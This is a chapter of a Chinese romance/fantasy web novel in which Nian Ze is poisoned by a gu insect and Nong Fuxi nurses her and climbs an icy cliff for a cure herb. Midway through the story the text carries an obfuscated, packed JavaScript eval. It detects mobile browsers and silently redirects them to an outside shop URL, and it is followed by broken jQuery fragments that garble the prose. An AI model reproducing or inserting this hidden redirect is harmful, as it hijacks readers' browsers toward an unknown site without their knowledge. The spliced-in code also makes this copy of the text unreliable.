农复晞心下觉得念泽一定会问个解释,自己想了半天,等了半天,结果见了面,她提都没提。
他自己按捺不住,也不敢欺瞒,当晚跑去她那里把城主对他说的话一五一十告诉了她。
念泽听完,虚掩着面笑了半天。农复晞觉得简直不可思议,“你……你居然觉得可笑!”
“好了好了,我一开始就没在意,是因为相信你啊。”
见农复晞嗔怪的神情,背着身子不搭理自己,又补了一句,“我是相信你的呀!”
“真的?”
念泽点点头,此事才就此翻篇。
次日中午,农复晞处理完手头大小事务,去看念泽。
他到西院门口问了侍女丫头,道是她在屋里。于是他掀开帘子进屋,正是满屋飘香的时候。
念泽听见脚步声便知是他,背对着他说:“怀玉说送来了一块肉,还说怎么做都好吃,我还思量着自己动手做呢,不知道是谁一大早已经把它做好了端在桌上,这城主府的人好殷勤啊。”
农复晞坐下,问道:“好吃吗?”
念泽点点头,“我感觉这好像不是猪肉,但是也好香啊。”念泽已经吃了大半碗。
“我就知道,松木熏烤的做法一定合你的心意。”
“你做的?”这完全出乎她的意料。
她不可置信又问了一遍。
“难道还有别人吗?柳琇可不会烹肉食。”
“那倒是。以前只看过你自己动手煮面、煮粥的,没想到你真会做菜。”
“只要你喜欢,以后常给你做。只是从没见你这么喜欢吃肉,原以为你是不喜欢的。”
念泽又多吃了两块。
“以前总觉得肉都有一股怪味,后来越来越吃得惯了。现在觉得只要做得好,那简直是人间至味。”
农复晞替她擦了擦手上的油,“吃完这些差不多了,吃太多肉不消化。”
念泽嘴里含糊不清,好奇地看向他,“这到底是什么肉啊?”
“驴肉啊,看到厨子在杀驴,祁怀玉说要送你腿肉,觉得直接给你想必你会嫌弃,就塞给我处理了。驴肉你之前没吃过吗?”
“驴肉?”她筷子夹着的一大块肉掉了下来,嘴里的肉也咽不下去了。
“天禄的真身就是驴吧。”
她对着碗底小声嘀咕。心想,在过去,天禄仙君对自己礼敬有加,眼前这一堆熏香驴肉还怎么吃得下去?
“天禄是什么人?没听你讲过啊。”
自己嘀咕的话偏偏被农复晞听到了,他的耳力一向很好。
“没什么,就是好多年前的一个亲戚,他就喜欢吃驴肉。”
“哦。”
看她停下,反问说:“你不会不吃驴肉吧?”
“不是啊,我刚才不是吃了很多吗?”
“哦。”
她迟疑了一下,又对他补了一句,“你说得对,吃太多了容易不消化。你吃吧,你还没吃呢。”
“对了,你转告田允麟,让他写一篇勋书,褒扬永州、并州十七郡官兵协同开渠引水,善治农桑。别把这事忘了。”念泽正色道。
“军师说到底是你的人,写勋书这种事我怎么使唤得动。要是他不听我的,那不是平白给杜羽他们笑话看?”农复晞托着下巴,说着俏皮话。
“这话没头没脑,你也就敢在我面前这样。总之不许忘了。”
念泽心头涌过一阵刺痛,抬手一看,手腕上的经脉也变了色。
她急忙用袖子掩住手腕上的异样,想起自己之前和祁怀玉出门,被奇虫咬过,自己都快忘了这桩事。
“你干嘛呢?”
“你快走吧,你不忙了?”念泽抱着手转身催他离开,农复晞只觉得奇怪。
“你没事吧?”
“我有什么事,你快走。”
她推他出去,自己关上门,一个人呆着。
“莫非那东西有毒?真要这样,好厉害的毒。”
“算了,此时不宜多事,且忍忍吧。”
她晚上还是照常和祁怀玉一起吃饭、谈笑。回到西院瞒着大家吃了两剂清火的补药,半夜吃了两粒止疼药丸,才睡下。
不知睡了多久之后,念泽迷迷糊糊觉得耳边有人声,好像屋里坐了十几二十个人。烛火亮得灼目,不过自己却睁不开眼。
农复晞站在床帘外面,待医官查看一番过后,招呼他到外面说。
医官抚着花白胡须缓缓说来:“从脉象上来看,应该是中了醉心花花粉的毒,再加上手腕上的伤口,可以确定是紫玉血蛊虫咬伤所致,蛊虫本就有毒,有人以醉心花豢养蛊虫,这是毒上加毒啊。”
“蛊毒!那解法是什么?”农复晞紧着拳头,冷静追问。
医官沉吟片刻,道:“就算能解毒,恐怕也要影响寿数啊。”
农复晞愣怔住了,但还是立马回过神来,“那也得先把毒解了再说。医官你告诉我吧,到底如何解?”
“解法并非没有,却是几乎做不到。解此蛊需一味‘雪顶赤蕊’,生于极北冰崖之巅,十年一开,采时须在寅时露水未干之际。此草能融紫玉血之毒,但采摘者须以自身精血喂之,方能保住药性。我曾在江湖行医多年……也从来没见过这味奇药。”
医官摇了摇头,收拾好药箱出去了。
西院里一群人进进出出,折腾了一天。
念泽虽及时用药,逼出伤口周遭血液,但余毒仍随气血上行。
到了晚上毒性发作,仍旧高烧不退,灌下去多少苦药都没见效。一群人急得直在门前转悠。
又到了三更天的时候,农复晞遣了一半的侍女小工们下去。也对柳琇、祁怀玉她们说:“你们也都回去睡吧,总要给明天留点精神。我在这里就行。”
“你一个人怎么照顾得好?”
“我可以的,人多眼杂也没有用。要是有什么紧急情况,我再去叫你们。”
几番推辞,终于各自回屋。
他急转入内,正见她睡得迷迷糊糊。自己去开了窗缝,好散去些药气。
“你怎么在这……”
不知过了多久,他听见她沙哑的声音,跑去床头小心扶她起来,柔声说道:“还难受吗?来,先把药喝了。”
药太苦,实在难入口,她喝了半口便推走了药碗。
“这药得喝啊,不然你体内的毒性太强,会更难受的。”
念泽皱着眉头不言语。
“好了好了,那先不喝了。”
农复晞去放药碗的功夫,念泽她自己坐直了身子。毒在血脉里翻涌,一阵一阵。整个人微微发抖,热意从心口往外漫。额间汗珠不断,雪白的中衣洇出潮痕。
她咬紧下唇,几乎不得动弹。农复晞过去俯身把她环抱住,一滴泪从他低垂的眼睫间溢出,悬在睫毛尖上。他只能咬紧牙关,恨自己不能替她承担这一切。
“好晕。”
念泽半睁着眼,眼神涣散没有焦点。
“什么?”他松开手臂,托住她的脸颊。
“我说晕……特别热。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887356|212597||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的指尖碰到她湿热的后颈,心疼她的痛苦难耐。
滚烫的呼吸拂过他下颌,混着药草苦涩的气息。
夜里寒凉风大,不好开窗。
“我给你扇扇!”农复晞拿起蒲扇轻轻扇动,正好瞥见屋里冰鉴里还存着一些冰。他灵机一动,把冰握在手里,待到冻得掌心吃不消的时候,放下冰块,搓了搓手,哈一口热气,冷手贴在念泽发烫的脸上。
“这样好点了吗?”他捧着她的脸,目光关切,小心翼翼。
她忽然凑近,毫无章法地贴上了他的唇。
这个吻带着药味和血腥气,生涩又蛮横,像溺水者抓住浮木。
他浑身一僵,手悬在半空,终是缓缓垂下,虚拢在她单薄的脊背上。
良久,她才松了力道,靠在他肩上昏沉睡去。他拨开她额前湿发,指尖触及她依旧滚烫的肌肤,自己也红了脸颊。
“你明天醒过来也不会记得了吧?”
他扶她躺下,边扇风边自语道:“只要你能解毒康复,我什么都不祁求了。我只要你好好活着,安安稳稳地生活着,不要离开我。”
翌日清早。
“城主,农大人到了。”
“让他进来。”
大厅里,农复晞站在她面前。
城主放下手中正看着的文书开口:“念泽中毒的事我已经知道了,既然是在我城中发生的,我一定会彻查到底。只是那天的流觞宴人多口杂,排查起来会有些麻烦。”
底下的农复晞不作声。
城主看破了他的意思,冷笑一声,“难不成,你怀疑我?”
农复晞虽不至于认为此事是祁天音所为,但祁怀玉带念泽出府赴宴却是祁天音默认的事实。
“城主当真不知其中缘由吗?”
“我贵为一城之主,行事向来光明磊落,还不至于用这种卑劣手段。我那天说的条件固然有些强人所难,不过你若真是对我无意,我也不可能强求。你也大可不必仗卑鄙心思,猜他人清白。”
城主言辞激昂,农复晞见此情状,心里的顾虑打消了七八分。
“城主是我敬重之人,农某也并不是故意诋毁。您既如此说了,我当然不再疑心。”
“今日言语冒犯,该向您赔罪。”
“知道你担忧着急,算了算了。可怜偏偏是她遭逢这场病痛,照顾好她,府中医官尽可使唤。”
“谢城主大义。”
后面的几天,柳琇日夜不休地照料念泽,配合医官施针放毒。
极北之地,大雪皑皑。
崖壁上覆着一层薄薄的冰壳,农复晞踩上去每一步都在打滑,脚踝使力到发麻,才能让自己勉强不往下坠。
夹着冰雪的寒风贴着崖面刮过来,像无数把细刃割磨脸上裸露的皮肤。
他的眼睛泛着泪光,今天一定要拿到那一味药草。
他咬紧牙关,把身体往上提了一截,用膝盖顶住冰面,稳住身形。那株草越来越近了,能看见叶片边缘结着细霜,叶脉间透出隐约的赤色。就在崖巅。
他探出手,指尖差一点就能碰到叶边,掌源便被岩壁上一层薄而利的冰层刮出一道长长的口子,血很快渗了出来,染红了袖口,晕进冰土里,也让那株雪顶赤蕊吸饱了养分,更显生机。
他一鼓作气,抓住雪顶赤蕊的根茎,猛地一拔。那瞬间他整个人往下滑了一截,另一只手猛地扣进冰缝里,才堪堪停住。
“我拿到了!”
他哈着冷气,小心把这金贵的物件拢在怀里。